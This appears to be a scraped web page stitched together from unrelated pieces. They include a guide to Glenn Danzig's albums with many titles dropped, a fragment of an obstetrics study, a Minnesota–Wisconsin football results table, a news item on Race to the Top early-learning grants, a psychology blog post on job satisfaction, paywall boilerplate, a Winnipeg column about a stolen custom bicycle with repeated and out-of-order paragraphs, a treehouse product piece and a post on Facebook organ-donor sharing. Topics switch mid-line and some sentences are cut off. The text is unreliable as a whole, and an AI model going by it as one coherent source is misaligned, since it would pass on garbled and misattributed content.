"They said it would never happen…" is how the Misfits reunion is being presented, and for good reason. No reasonable person expected Glenn Danzig and Jerry Only to step into a room together after a decades-long beef that saw multiple lawsuits launched, but on September 4 in Denver and September 18 in Chicago, the "original" Misfits will reunite for their first shows together in 33 years. Fans have a reason to be ecstatic.The Misfits legacy has grown incredibly since Danzig left the band back in 1983, expanding into a merchandise-driven business that only pales next to the originators themselves, KISS (yes, there are Misfits undies and obviously a coffin-shaped lunchbox). They are unique in that the band's name, mascot and infamous history have generally dwarfed the actual music. If you see a 12-year-old sporting a Fiend-emblazoned tee, there is a good chance s/he has never even heard Glenn Danzig bellow, "I got something to say!" And while the Misfits have been going strong for the last two decades under the command of Only, it felt like nothing but homage without Danzig on the mic.Danzig is one of music's most intriguing figures. So many stories have been told, and only a few verified. It's only when we see it caught on video — like when he was sucker-punched by an unknown punk tried to attack a photographer or shared his favourite books — that we know he is human just like us. He has one of the greatest voices rock'n'roll ever produced, and though he's habitually compared to Elvis Presley and Jim Morrison, Danzig has manifested an aggressive style of his own that has influenced generations. He also used that voice in a manner of ways through three different bands: the animated horror-punk of the Misfits, the wicked deathrock of Samhain and the downright evil blues-metal of Danzig.With the incredible return of the Misfits, we offer up our Essential Guide to the work of Glenn Danzig. (For even further reading, check out Exclaim!'s 2010 Timeline on Danzig here.)Danzig(1988)In 1986, Glenn Danzig was courted by Rick Rubin for his Def American label. Though Danzig first refused to give in to Rubin's demands, which were to break up Samhain and form a new band that showcased his vocals, they worked out a deal where Danzig could bring Samhain bassist Eerie Von and new guitarist John Christ aboard with drummer Chuck Biscuits, who Rubin suggested. The name Danzig stuck, simply because Glenn wanted the freedom to change lineups when he pleased.The self-titled, Rubin-produced 1988 debut by Danzig marked another genre shift for the musician, and Rubin's influence shouldn't go unstated. Samhain's doom-laden deathrock mutated into a slower, blues-driven hard rock sound steered by Danzig's new style of singing, a croon that called upon the ghosts of Elvis Presley and Jim Morrison. Unlike anything he'd done before, Danzig follows a steady pace and places deeper emphasis on exploring his interest in themes like the occult and the Devil. As such, his lyrics are more sinister and haunting here, leaving very little room for his trademark humour.Danzig remains the most prized release by his titular band because of its freshness. Sure, Danzig himself takes it front and centre from the moment "Twist of Cain" kicks in, but Christ absolutely rips on his BC Rich, both propelling the songs forward and unleashing demons when he solos on "Possession" and "Not of This World." Biscuits and Von, on the other hand, hold down the rhythm section with a mighty thump on the galloping "Am I Demon" and, of course, the swaggering "Mother," Danzig's signature song that became a crossover hit after getting remixed five years later. It's a heady synthesis, and although it can be argued they improved as a unit on the subsequent Lucifuge, the band's raw energy and novelty on their debut helps it stand out.Samhain III: November-Coming-Fire(1986)Following his acrimonious split from the Misfits, Danzig followed through with plans to form his Samhain project with friend Eerie Von, which was originally intended to be a side-project. Traces of Danzig's old band were pretty noticeable on the first two Samhain releases — 1984's debut Initium and 1985's Unholy Passion EP — but November-Coming-Fire would prove to be a significant step forward.Of course, the Misfits weren't completely forgotten, but November-Coming-Fire brought far more depth to their menacing deathrock. Almost every track sounded different from the next: from goth-tinged opener "Diabolos 88" to the '50s rock'n'roll of "To Walk the Night," from the proto-grunge of "Mother of Mercy" to the thrash-punk attack on "Birthright" and "Kiss of Steel."Not long after NCF's release, Danzig was already discussing the end of the band with future label boss Rick Rubin. Samhain thus ended without the glory and influence they deserved, but not without giving fans one true classic.Walk Among Us(1982)History was rewritten when the 1978-recorded Static Age finally saw a release in 1996, so it's easy to forget that Walk Among Us was actually the first full-length to be released by the Misfits. Because of the years in between the recording of the two albums, WAU is the more consistent one, benefitting from a fully formed horror-punk sound and aesthetic.From the album's title (inspired by 1956 film The Creature Walks Among Us) and cover to tracks like "I Turned into a Martian," "Night of the Living Dead" and "Astro Zombies," the theme was heavily and playfully rooted in '50s/'60s horror and sci-fi, and no matter how cartoonish it gets — "Brains for dinner / Brains for lunch / Brains for breakfast / Brains for brunch" Danzig sings on "Braineaters" — they can still drop in a thrash-punk blinder called "Mommy, Can I Go Out and Kill Tonight" that is dead fucking serious.Despite being recorded at a number of studios, Danzig managed to make Walk Among Us cohesive with a series of overdubs. And yet, there is still a rawness to these hard-charging anthems that upholds its legacy as rightfully punk. Coming in at under 25 minutes, it's a total romp that remains one of punk rock's most inimitable albums.Danzig III: How the Gods Kill(1992)Whereas the first two Danzig LPs shared plenty of common ground both thematically and sonically, the band's third broke new territory. How the Gods Kill found Danzig sinking deeper into the recesses of his soul, pulling out a collection of songs that found the band progressing far beyond simple blues metal. Featuring a modified version of H.R. Giger's goth masterpiece, Meister und Margarita on the cover, Danzig conjured a nightmarish world over 10 songs that complemented the piece.Danzig himself has said this album was "full of violent frustration," and he lays it out at the start with the religion-baiting "Godless," a relentlessly swelling track that finds him agonizingly delivering his words over Christ's fretboard annihilation. In fact, the guitarist steals the show on just about every song here, laying down chunky riffs on "Dirty Black Summer" and "When the Dying Calls" deserving of Guitar Hero immortalization.But it's the softer moments that make HtGK such a unique beast. The epic title track is very much the band's "Stairway to Heaven," slowly ascending from some hushed strumming into an eruption of frenzied riffing and Danzig's demonic wail. And then there's "Sistinas," Danzig's power-ballad on which a reverbed guitar lead, some strings, a timpani and Danzig himself channelling his hero Roy Orbison with his most tender vocal yet combine to stirring effect. It's Danzig at their best.Static Age(1996)Punk rock had reached its zenith in 1978, a year that saw the launch of Greg Ginn's SST label and the end of the Sex Pistols. The Misfits were on course to release their debut album, which was in the can and all set to go; the only problem was that they couldn't find a label interested in putting the thing out. While the band sporadically released versions of its songs over years, the album itself sat on the shelf for nearly two decades.The Misfits hadn't yet developed their horror punk aesthetic when Static Age was made, but the themes and imagery were there bubbling in Danzig's lyrics for "Return of the Fly" and "Teenagers from Mars." Unlike a lot of punks, Danzig wasn't interested in airing any social or political grievances. He chose to write escapist fiction based on the perverted ideas that lurked in his disturbed imagination. Even when he did write about historical events, he chose to use a horrifically depraved angle, like JFK's "bullet-ridden body" and "shattered head" in "Bullet." But Danzig packaged these nasty lyrics in some of punk's most irresistible melodies, and somehow made the truly appalling chants of "Last Caress" something even mothers could find catharsis in yelling.It's hard to say just how much of an impact Static Age would have had were it released in 1978, but considering the hostility between members, we should be grateful that it ultimately even surfaced at all. Naturally, there are fans that believe Walk Among Us is the superior work, and that's a fair argument. But while that album has cohesion going for it, there's no denying that Static Age wins when it comes to the songs: "Last Caress," "Hybrid Moments," "TV Casualty," "Attitude," "Bullet." Static Age is stacked like almost no other punk album ever.Danzig may have entered the 1990s in peak shape, but once the band parted ways with Rick Rubin, everything seemed to fall flat. It's hard to argue that anything after 1995 is really worth your attention. Christ, Von and Biscuits all left, and Glenn Danzig reassembled a new team for 1996's, an album that found him desperately trying to fit into the zeitgeist for the first time ever, aping the industrial rock sounds acts like Nine Inch Nails and Ministry were popularizing.(1999) was more of the same industrial nonsense, but thankfully, Danzig made an attempt to return to his tried and true blues-metal on 2002's passableThings began to look up when Prong's Tommy Victor joined on guitar for 2004's, but even that addition couldn't return the band to true form. In fact, it would take Glenn until 2010'sto find some sort of groove again, but unless you're dying for more Danzig, it's inessential.There's a quite a bit of Misfits stuff that came out after Danzig left the band.from 1985 is a compilation of songs that pre-date the release of Static Age, and looking at it now, its existence is pretty superfluous; the fact that Danzig re-recorded and overdubbed parts so he could take all of the royalties alone is a good indication to stay away from it.(1982) might be the only legit live recording the Misfits ever released, but unless you want a shitty, smothered recording of basically just Walk Among Us live, it's best to avoid.It feels weird not giving 1990'sessential status because it's such a strong album. Rubin upped his game from the band's debut, amplifying their brute strength as a unit on heavier tracks like the gang-chanted "Her Black Wings" and head-banger's delight "Tired of Being Alive." But it's the quieter moments that make Lucifuge stand out from its predecessor, like the Delta blues-infused "I'm the One" and "777," as well as the tender ballad "Blood and Tears," a convincing argument that Glenn Danzig has a soft side.(1994) was the final album produced by Rubin and released by his label, and while it doesn't quite live up to its three predecessors, the efforts to experiment with different textures are commendable. The self-explanatory "Sadistikal" tugs the line of industrial noise, an area Danzig would later return to with very mixed results; "Son of the Morning Star" pushes into even unlikelier territory, riding a jazz rhythm and Christ's muted, slack guitar playing. There are some heavyweights like "Until You Call on the Dark" and the creepy-as-fuck "Stalker Song" to make up for the tourism, but sadly, this was the last we'd hear from the original lineup.Deth Red Sabaoth wasn't awful for a later-era Danzig album, but perhaps a sign that the recent Misfits business has rejuvenated him, his latest, 2015's, is a solid demonstration that Danzig can do a lot with the music of others. Actually, his rendition of the Everly Brothers' "Crying in the Rain" is the most pleasant surprise, and we can only hope his next release is an album of just classics by Don and Phil.Perhaps the most surprising thing to learn about Glenn Danzig isn't that he owns cats instead of hellhounds but that he is an accomplished neoclassical artist. His 1992 debut album,, went straight to No. 1 on the Billboard classical chart upon its release, and that was even with a disclaimer that read: "This is not a rock record. It's not a Danzig record. If you're expecting to hear 'How the Gods Kill' or 'Mother,' don't buy it." Black Aria recycles some of the dark atmospherics and bells that Samhain later utilized, but you can hear the influence of new age, goth and Angelo Badalamenti throughout. Both the 1992 original and its 2006 sequel,, are worth a listen.The remaining Samhain releases all offer some "murder, guts, and fun." The debut, 1984's, is messy and even inadvertently amusing (it opens with Danzig biting down and warning, "You think you've known pain? You've known nothing!!"), but its blend of thrash, deathrock and, naturally, the Misfits (as on "Horror Biz") sounded like little else at the time. Case in point: the epic closer "Archangel," a gnarly, droning rocker that Glenn originally wrote for Dave Vanian of the Damned is an unsung classic and sounds about 30 years ahead of its time. Follow-up EP(1985) is perhaps the most overlooked entry in Samhain's catalogue, but it's a fast and furious little release that bridges the sizeable gap between Initium and November-Coming-Fire. An original mix of the record exists somewhere, but Danzig allegedly re-recorded the drums and guitar parts himself so he wouldn't have to pay royalties to Steve Zing and Pete Marshall.Their last album, 1990's, arrived three years after Samhain ended and Danzig began; fittingly, it features early versions of "Twist of Cain" and "Possession," which appeared on the first Danzig record. Despite feeling like a bit of an afterthought — it was intended to be a full-length titled Samhain Grim before they decided to form Danzig, and the original version came with Unholy Passion tacked on — Final Descent demonstrates the transition between the two bands best, and gives you a sense of what Danzig may have sounded like without Rubin's contributions.There's always a toss-up between Static Age and Walk Among Us as to which is the best Misfits album; final original lineup LP(1983) is never given much consideration. It was released just months after Danzig dissolved the band, so it feels to some like another one of his afterthoughts. That's unfair. The album is often overlooked because of how it abandoned the band's signature pop hooks, instead finding Danzig indulging in nine tracks (15 minutes) of breakneck thrash/hardcore that cements their legacy in that community. It has its fans — Metallica famously covered "Green Hell," and Slayer are obviously indebted to it — and if you slow it down, you can hear the seeds of Samhain being planted.Discussion
This study demonstrated that the obstetric risks of pregnancy in women under 18 years old are generally low, except for preterm delivery, which is the most important determinant of perinatal morbidity.12 The large size of this study permitted inclusion of many confounding variables in the logistic regression models and enabled us to estimate specific age-related risks of pregnancy in women less than 18 years old. The notable confounding variable we were unable to include is social class. Sociodemographic factors are associated with teenage pregnancy and adverse pregnancy outcome.13,14 It is probable that inclusion of social class in the logistic regression models would have reduced the OR for adverse outcomes in the under 18 years old group.
The St. Mary's Maternity Information System has been validated, but some clinical diagnoses rely on a degree of subjective assessment. For example, postpar-tum blood loss is generally underestimated in routine clinical practice, but it is unlikely that those |
34 October 18, 1924 Madison, WI Tie 7–7 35 October 31, 1925 Minneapolis, MN Tie 12–12 36 October 30, 1926 Madison, WI Minnesota 16–10 37 October 29, 1927 Minneapolis, MN Minnesota 13–7 38 November 24, 1928 Madison, WI Minnesota 6–0 39 November 23, 1929 Minneapolis, MN Minnesota 13–12 40 November 22, 1930 Madison, WI Wisconsin 14–0 41 October 31, 1931 Minneapolis, MN Minnesota 14–0 42 November 12, 1932 Madison, WI Wisconsin 20–13 43 November 25, 1933 Minneapolis, MN Minnesota 6–3 44 November 24, 1934 Madison, WI Minnesota 34–0 45 November 25, 1935 Minneapolis, MN Minnesota 33–7 46 November 21, 1936 Madison, WI # 2 Minnesota 24–0 47 November 20, 1937 Minneapolis, MN # 7 Minnesota 13–6 48 November 19, 1938 Madison, WI Minnesota 21–0 49 November 25, 1939 Minneapolis, MN Minnesota 23–6 50 November 23, 1940 Madison, WI # 1 Minnesota 22–13 51 November 22, 1941 Minneapolis, MN # 1 Minnesota 41–6 52 November 21, 1942 Madison, WI # 7 Wisconsin 20–6 53 November 20, 1943 Minneapolis, MN Minnesota 25–13 54 November 25, 1944 Madison, WI Minnesota 28–26 55 November 24, 1945 Minneapolis, MN Wisconsin 26–12 56 November 23, 1946 Madison, WI Minnesota 6–0 57 November 22, 1947 Minneapolis, MN Minnesota 21–0 58 November 20, 1948 Madison, WI # 15 Minnesota 16–0 59 November 19, 1949 Minneapolis, MN # 8 Minnesota 14–6 60 November 25, 1950 Madison, WI Wisconsin 14–0 61 November 24, 1951 Minneapolis, MN # 8 Wisconsin 30–6 62 November 22, 1952 Madison, WI Tie 21–21 63 November 21, 1953 Minneapolis, MN Tie 21–21 64 November 20, 1954 Madison, WI # 17 Wisconsin 27–0 65 November 19, 1955 Minneapolis, MN Minnesota 21–6 No. Date Location Winner Score 66 November 24, 1956 Madison, WI Tie 13–13 67 November 23, 1957 Minneapolis, MN # 18 Wisconsin 14–6 68 November 22, 1958 Madison, WI Wisconsin 27–12 69 November 21, 1959 Minneapolis, MN # 9 Wisconsin 11–7 70 November 19, 1960 Madison, WI # 4 Minnesota 26–7 71 November 25, 1961 Minneapolis, MN Wisconsin 23–21 72 November 24, 1962 Madison, WI # 3 Wisconsin 14–9 73 November 28, 1963 Minneapolis, MN Minnesota 14–0 74 November 21, 1964 Madison, WI Wisconsin 14–7 75 November 20, 1965 Minneapolis, MN Minnesota 42–7 76 November 19, 1966 Madison, WI Wisconsin 7–6 77 November 25, 1967 Minneapolis, MN Minnesota 21–14 78 November 23, 1968 Madison, WI Minnesota 23–15 79 November 22, 1969 Minneapolis, MN Minnesota 35–10 80 November 21, 1970 Madison, WI Wisconsin 39–14 81 November 20, 1971 Minneapolis, MN Minnesota 23–21 82 November 25, 1972 Madison, WI Minnesota 14–6 83 November 24, 1973 Minneapolis, MN Minnesota 19–17 84 November 23, 1974 Madison, WI Wisconsin 49–14 85 November 22, 1975 Minneapolis, MN Minnesota 24–3 86 November 20, 1976 Madison, WI Wisconsin 26–17 87 November 19, 1977 Minneapolis, MN Minnesota 13–7 88 November 25, 1978 Madison, WI Wisconsin 48–10 89 November 17, 1979 Minneapolis, MN Wisconsin 42–37 90 November 22, 1980 Madison, WI Wisconsin 25–7 91 November 21, 1981 Minneapolis, MN Wisconsin 26–21 92 November 20, 1982 Madison, WI Wisconsin 24–0 93 October 15, 1983 Minneapolis, MN Wisconsin 56–17 94 October 13, 1984 Madison, WI Minnesota 17–14 95 November 9, 1985 Minneapolis, MN Minnesota 27–18 96 November 8, 1986 Madison, WI Minnesota 27–20 97 November 14, 1987 Minneapolis, MN Minnesota 22–19 98 November 12, 1988 Madison, WI Wisconsin 14–7 99 November 4, 1989 Minneapolis, MN Minnesota 24–22 100 November 3, 1990 Madison, WI Minnesota 21–3 101 November 16, 1991 Minneapolis, MN Wisconsin 19–16 102 November 14, 1992 Madison, WI Wisconsin 34–6 103 October 23, 1993 Minneapolis, MN Minnesota 28–21 104 October 22, 1994 Madison, WI Minnesota 17–14 105 November 11, 1995 Minneapolis, MN Wisconsin 34–27 106 November 9, 1996 Madison, WI Wisconsin 45–28 107 October 25, 1997 Minneapolis, MN Wisconsin 22–21 108 November 7, 1998 Madison, WI # 8 Wisconsin 26–7 109 October 9, 1999 Minneapolis, MN # 20 Wisconsin 20–17 110 November 4, 2000 Madison, WI Wisconsin 41–20 111 November 24, 2001 Minneapolis, MN Minnesota 42–31 112 November 23, 2002 Madison, WI Wisconsin 49–31 113 November 8, 2003 Minneapolis, MN # 24 Minnesota 37–34 114 November 6, 2004 Madison, WI # 5 Wisconsin 38–14 115 October 15, 2005 Minneapolis, MN # 23 Wisconsin 38–34 116 October 14, 2006 Madison, WI # 25 Wisconsin 48–12 117 November 17, 2007 Minneapolis, MN Wisconsin 41–34 118 November 15, 2008 Madison, WI Wisconsin 35–32 119 October 3, 2009 Minneapolis, MN Wisconsin 31–28 120 October 9, 2010 Madison, WI # 19 Wisconsin 41–23 121 November 23, 2011 Minneapolis, MN # 16 Wisconsin 42–13 122 October 20, 2012 Madison, WI Wisconsin 38–13 123 November 23, 2013 Minneapolis, MN # 17 Wisconsin 20–7 124 November 29, 2014 Madison, WI # 14 Wisconsin 34–24 125 November 28, 2015 Minneapolis, MN Wisconsin 31–21 126 November 26, 2016 Madison, WI # 5 Wisconsin 31–17 127 November 25, 2017 Minneapolis, MN # 5 Wisconsin 31–0 128 November 24, 2018 Madison, WI Minnesota 37–15 Series: Tied 60–60–8
Coaching records [ edit ]
Head to head coaching records between Minnesota and Wisconsin.
Minnesota [ edit ]
Wisconsin [ edit ]
No game was played in 1906
See also [ edit ]To win a grant in the U.S. Department of Education's new Race to the Top competition for early-childhood education aid, states will have to develop rating systems for their programs, craft appropriate standards and tests for young children, and set clear expectations for what teachers should know.
That's according to the proposed rules released today by the Obama administration that will govern the $500 million competition, which was made possible by the fiscal 2011 budget deal Congress passed in April.
U.S. Secretary of Education Arne Duncan was given $700 million in new Race to the Top money, and chose to put most of it into early education, while keeping a $200 million slice to award to runners-up from last year's competition. (Details of that separate contest have yet to be announced.)
The Race to the Top-Early Learning Challenge awards will range from $50 million to $100 million, depending on a state's population, and the contest is open to all states, not just the winners in last year's competition. This could be especially attractive for small states, which were eligible for maximum grants of $75 million in the first edition of Race to the Top. For big states, $100 million won't go as far; the biggest states in the original Race to the Top won $700 million each. For this early-learning competition, four states—California, Florida, New York, and Texas—are eligible for $100 million.
In crafting this new iteration of Race to the Top, the Obama administration is building upon the success of last year's $4 billion competition, which pushed states to embrace charter schools, merit pay for teachers, and better data systems. This competition is designed to improve the quality of and access to early-childhood programs, and to eliminate some of the "vast inequities" in care, said Special Assistant to the President for Education in the White House Domestic Policy Council Roberto Rodriguez, speaking in a call with reporters Thursday afternoon.
"We believe this Race to the Top can have the same kind of impact," Rodriguez said. "How do we really do more to boost the quality of our early-learning programs?"
Under the competition guidelines developed by the Education Department—working with the U.S. Department of Health and Human Services—a winning state must:
• Come up with and use early-learning and development standards for children, along with assessments;
• Develop and administer kindergarten-readiness tests, and develop rating systems for early-education programs;
• Demonstrate cooperation across the multiple agencies that touch early-childhood issues (from departments of health to education), and establish statewide standards for what early-childhood educators should know;
• Have a good track record on early learning, and an ambitious plan to improve those programs;
• Make sure early learning and prekindergarten data is incorporated into its longitudinal data system.
(And no, states do not have to develop pay-for-performance plans for early childhood teachers—which was an important component in the first Race to the Top competition.)
In a nod to rural districts and advocates, who often feel overlooked by the department, the Obama administration says it may go out of its way to reward states with large rural populations, potentially bypassing a higher-scoring urban state in favor of lower-scoring rural state.
Just as in the original Race to the Top, this competition will rely on outside judges to pick the winners. But the ultimate decision rests with Duncan.
Because the department has to get these awards out the door by the end of this year, officials have waived the typical rulemaking process. But they are asking for input. The public can comment on the proposed criteria through July 11. Applications will be available in late summer, and awards will be made by the end of the year. States will have until Dec. 31, 2015 to spend their winnings.I received a request recently to write a post on how to make an informed decision about when to leave your job. At first, I thought this question was outside the scope of a psychology blog. While it’s a question that commonly comes up in therapy, the answer depends on individual factors. On the surface, it would appear to be a question better directed to a recruiting agency or HR professional than a psychologist. But, the more I considered the question, the more I realised the field of psychology has something to offer in this area.
The Pressure to Perform
Most of us, today, find ourselves in a culture that values continuous career progression and success. And why not? We spend a significant proportion of our lives at work. For many of us, it is our only outlet to develop a sense of achievement. This is a primal need in human beings. If we don’t think that we’re achieving or contributing to society in some way, we can develop a low sense of self-worth, which can sometimes lead to problems with depression and anxiety.
A sense of achievement can provide our lives with meaning. Because so many of us see our career as our only avenue for achievement, for many people it’s a mark of their overall worth as a person. As such, it can lead us to make decisions that might otherwise seem irrational. For example, working such long hours that we rarely get any time to enjoy the fruits of our labour. For some people, this is necessary just to make ends meet. But, some of us can become consumed by it. The word “rat race” comes to mind here.
So, the message of this post is simply to ask yourself what you want. I know it seems simple, but it is often something we forget to do. What do you want out of your job, and what do you want more broadly in your life? What function does work serve for you? What function would you like it to serve?
What Do You Want from Your Job?
As simple as it may seem, answering these questions honestly requires a huge amount of personal insight. At first, the answers may seem simple. I can imagine people saying, “I want what everyone wants: A big pay check and a small workload”. But, when you actually compare the satisfaction of employees from various organisations, the factors that contribute most to employee satisfaction are rarely either of those two things. More often, increased satisfaction is associated with organisations that allow their employees to work in a supportive but independent environment, improve on their skill-set, and focus on non-monetary incentives, such as career progression.
Working in an area in which we feel highly competent or capable of achieving success is also important. Unfortunately, not all of us are able to obtain jobs like this. The world’s best photographer is probably working in some office and failing to meet KPIs. Which brings me to the other important consideration:
What Do You Want, More Generally, from Life?
If it’s not possible for you to gain a sense of achievement and meaning from your employment, what else can you do to gain that sense of achievement? To use the above example, perhaps entering photography competitions, documenting travel experiences, or attending workshops would serve a similar purpose.
If you find that you are unsatisfied with your job, the answer may well be to find employment better suited to your needs. But, the answer may also be to find something to compliment your current job. Find something to fill the unfulfilled need.
Are you unsatisfied because you had always dreamt of being wealthy? Despite what we have all heard in countless “motivational” speeches, the answer is not always to try harder. The answer might be to try something else all together. What purpose would being wealthy serve for you? Which of your values is it consistent with? For some, it is a status symbol, a message to others of their worth. In this case, it may be worth exploring other means of developing your perceived worth to others. Or perhaps being wealthier would allow you to go on more extravagant holidays or own a faster car. Again, what value is this meeting? A need for excitement? A need to feel pampered? Are there any other ways in which you could meet these needs?
In short, when asking yourself whether to leave your job, ask yourself what is missing in your current role. Then, ask yourself whether what’s missing can be found in a new role, or whether you need to look for it in other areas of your life. Try to gain insight into all of your values, and try not to get overly focused on one at the exclusion of others.
P.S. Understanding your values, and living consistently with them, is useful for all areas of your life, not just employment. It may seem obvious, but it is often difficult for people to list any more than a small number of their values. Additionally, people often confuse values with goals. Knowing your values is instrumental to knowing yourself. Every decision you make in your life is ill informed if you are not fully aware of your values.
The below link can help you gain a more comprehensive understanding of your values:
http://www.thehappinesstrap.com/upimages/Values_Questionnaire.pdf
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*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
Thank you for supporting the journalism that our community needs!
For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:
We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.
Thank you for supporting the journalism that our community needs!
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Hauling a fiddle-playing woman in the trailer. The woman was Miriam Neuman, a friend who plays in a band with Keith Neuman and who had a name for the bike.
Or maybe you saw the long-haired bike rider pedalling around the area like an Easy Rider wannabe.
I mean the one in the accompanying photo. Chances are if you were at the Winnipeg Folk Festival during the first three days, you saw Keith Dyck on his custom-crafted Harley-Davidson-styled chopper of a bicycle. He lent his time and an attached trailer to help other Folkies transport their gear around the Birds Hill campsite.
Hey there, time traveller! This article was published 16/7/2014 (1686 days ago), so information in it may no longer be current.
Hey there, time traveller!
This article was published 16/7/2014 (1686 days ago), so information in it may no longer be current.
Have you seen this bike?
I mean the one in the accompanying photo. Chances are if you were at the Winnipeg Folk Festival during the first three days, you saw Keith Dyck on his custom-crafted Harley-Davidson-styled chopper of a bicycle. He lent his time and an attached trailer to help other Folkies transport their gear around the Birds Hill campsite.
Or maybe you saw the long-haired bike rider pedalling around the area like an Easy Rider wannabe.
Hauling a fiddle-playing woman in the trailer. The woman was Miriam Neuman, a friend who plays in a band with Keith Neuman and who had a name for the bike.
She called it, "the Coolest Bicycle in the World." Keith had his one name for it, "the Bike of My Dreams." Now it's the missing bike of his nightmares.
That's because it took Keith Dyck three years to piece it together from a futon frame. But it took some woman at the Folk Fest less than a minute to steal it while he slept in a tent deep in the campsite bush early Saturday morning.
So much for Kumbaya.
So much for harmony, communal peace and leaving things unlocked at the Folk Fest.
Keith said he must have talked to a thousand people as he pedalled around the site on the first two days. He said a Mountie even stopped to admire the bike. As it turned out, there was at least one admirer too many.
Keith said he had turned in early Saturday morning after he parked his bike beside his tent, deep in the bush.
He figures someone must have tracked him to his campsite, because as he slept, his friends watched in shock as a woman jumped on the bike, wiped out and then took off before they realized she had just stolen Keith's prize possession.
"The thing has cost me at least $4,000 to date, not counting the time," Keith said over the phone Wednesday.
And, like the bike, that kind of investment is a big deal for a guy who makes his living mainly as a musician and jewelry-maker. He didn't tell me, but his bandmate Miriam did. "He just gave notice at his only regular job, one he has held for 12 years, as a live-in aide for a man who is in a wheelchair," she told me. "So, this is a really big deal as money is scarce and will be even scarcer when he leaves his job at the end of this month and starts a new chapter in his life moving in with the other love of his life, his girlfriend."
Clearly, the bike was the other love of his life, and it was about more than time, money or even its look.
"I started losing sleep over this idea that I could ride the bike of my dreams," Keith explained in a followup email.
"All I had to do was build it. I knew nothing of bicycles except how to ride them. I had no idea about how to do any of the work that lay ahead of me. (I) started with a life-size drawing on my wall. The back swing arm was constructed from old bikes by my friend, Kelly. The aluminum frame was cut and welded to more old bike parts by SCT Welding on Route 90. I spared no expense, as this was a labour of love. God, I've spent way too many hours on this thing.
"Every part custom-made by hand, and now I think I should have spent this time doing something else."
I get the feeling Keith doesn't really mean that. He needs even more time. He isn't finished building it.
He has a partially made fibreglass fender, a dashboard, a headlight and tail lights in his basement. Ultimately, he wants to transform his dream bike into his dream motorcycle.
As I was suggesting, losing the bike is about more than the time or money he's put into it. It's about the end of a dream, a feeling most of us can relate to.
But it's about even more for Keith.
"I built my dad's watch into the handlebars," Keith said. "He passed away almost two years ago."
As Miriam said on Wednesday, "It wasn't just going to be a cool bike, it was going to be an art piece and a sentimental monument to Keith's family and his past."
Who knows, maybe whoever took the bike of his dreams will find a way to return it. Maybe it was a joyriding lark, fuelled by booze, and when she woke up it didn't seem so funny after all.
At least, that's what I'm hoping.
But park police reported seeing a man in his 20s riding the bike with a young woman, leaving the park through the east gate heading north on Highway 206.
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"I don't care who took it," Keith said. "I just want it back."
As I was asking at the outset...
Have you seen this bike?
Obviously, you can't miss it.
For sure not the way Keith does.
gordon.sinclair@freepress.mb.caBubbleTree Treehouse
A tree house is a romantic hideaway close to nature and it does bring out the child in you again. Enter BubbleTree, a company offering a trendy habitat that will appeal to both the nature lovers and those on the hunt for unusual creations. It’s a small wooden platform installed in a tree, which is covered with a canvas in sphere at night. The cozy nest is capable of providing inimitable moments of closeness between human and nature. This tree house is an eco-design that respects the biological activity of trees. The installation on the central portion of the tree trunk minimizes the risk of uprooting in strong winds. Moreover, they have developed the concept of “Artificial Branch,” a patented device that allows “postponing the constraints of construction on the carrier part of the tree without mortgaging its future development.” The hut in the tree allows you to take full advantage of nature. The platforms can be used to take a nap, to observe nature, to read a good book or to simply spend some nice time with your family. (Pics)
With an area of 6 square meters, it can accommodate up to eight people. The platforms can even be combined with each other to get the different useful surfaces. The “bubble” was created to lets the users sleep up in the tree to get closer to nature.
After the night falls, the bubble includes the platform to provide a cozy nest to its occupants. In the morning, conversely, you can fold it on the side to give way to the spectacle of the awakening of the nature.
A range of materials and colors are available for the platform and the bubble. Accessories include hammocks, nets, long chair convertible, lighting system, solar shower, picnic basket, lifting system and much more. They charge EUR 11,000 (approx. $15,300) for the platform with the ladder and EUR 18,000 (approx. $25,000) for the version with the ball.
Via Bornrich.orgBy now you've undoubtedly heard that Facebook allows people to share their organ donor status. A friend of mine adjusted her information on the day of the announcement to reflect her donor status and someone quipped, "What did you donate?" Snark potential aside, it's a wonderful way to bring the donor community together and to raise awareness about organ donation overall. With over 100,000 people waiting for an organ donation and only 14,144 organ transplants in 2011, the prospects look grim for many—which has unfortunately driven a robust black market trade in body parts.
There is much to consider here regarding ownership and ethics. But there is also something to be said about social pressure, too. A 2010 survey (1) conducted by Donate Life America revealed the following reasons why people might not consider becoming an organ donor:
52% of respondents were open to the idea that doctors may not try as hard to save their lives if their wish to be organ donors is known
61% are open to the idea that it is possible for a brain dead person to recover from his or her injuries
8% believe that organ or tissue donation is against their religion
These beliefs are unfounded:
If you are sick or injured and admitted to the hospital, the number one priority is to save your life. Organ, eye, and tissue donation can only be considered after you are deceased.
While you can recover from comas, brain death is permanent and irreparable.
All major religions in the United States support organ, eye, and tissue donation.
Still, these ideas persist. The percentage of people who report believing that emergency personnel may not work as hard to save their lives or that they can recover from brain death remains high (pdf). What Facebook has done is launch a massive campaign to shift perception—after all, if you're friends are doing it, friends whom you've vetted (hopefully—we'll overlook that girl you met at the bar who swore she knew you in elementary school and then looked you up on Facebook a few days later) and opted to follow and share personal information with, then how bad could it be?
There's science behind the mechanisms of social pressure. If you think of behaviors as viruses, you can see that they're more powerful—or contagious—when passed between people who have contact with each other—and we're more likely to have contact with each other if we're friends. However, some network structures are better suited to this than others. Networks characterized by "long-ties"—where members have fewer overlapping connections and links appear to be more randomized—were believed to have a farther reach because they could transfer information to more unique members. But research has found that networks where members have a great deal of overlap between connections and interests—clustered networks—there are higher rates of behavior adoption because members can receive multiple signals that reinforce certain patterns (pdf).
In randomized networks, behavior is treated like a simple contagion where single contact is enough to pass the behavior on. But if you think about it, the challenge there is fairly illustrated by the Telephone Game: the message might be clear initially, but it gets diluted as it travels down the line. The same is true of behavior: the farther away you get from the original actor and the relationship you share, which provides a strong reason for why you might adopt the behavior, the less compelling it becomes to emulate and adopt her actions.
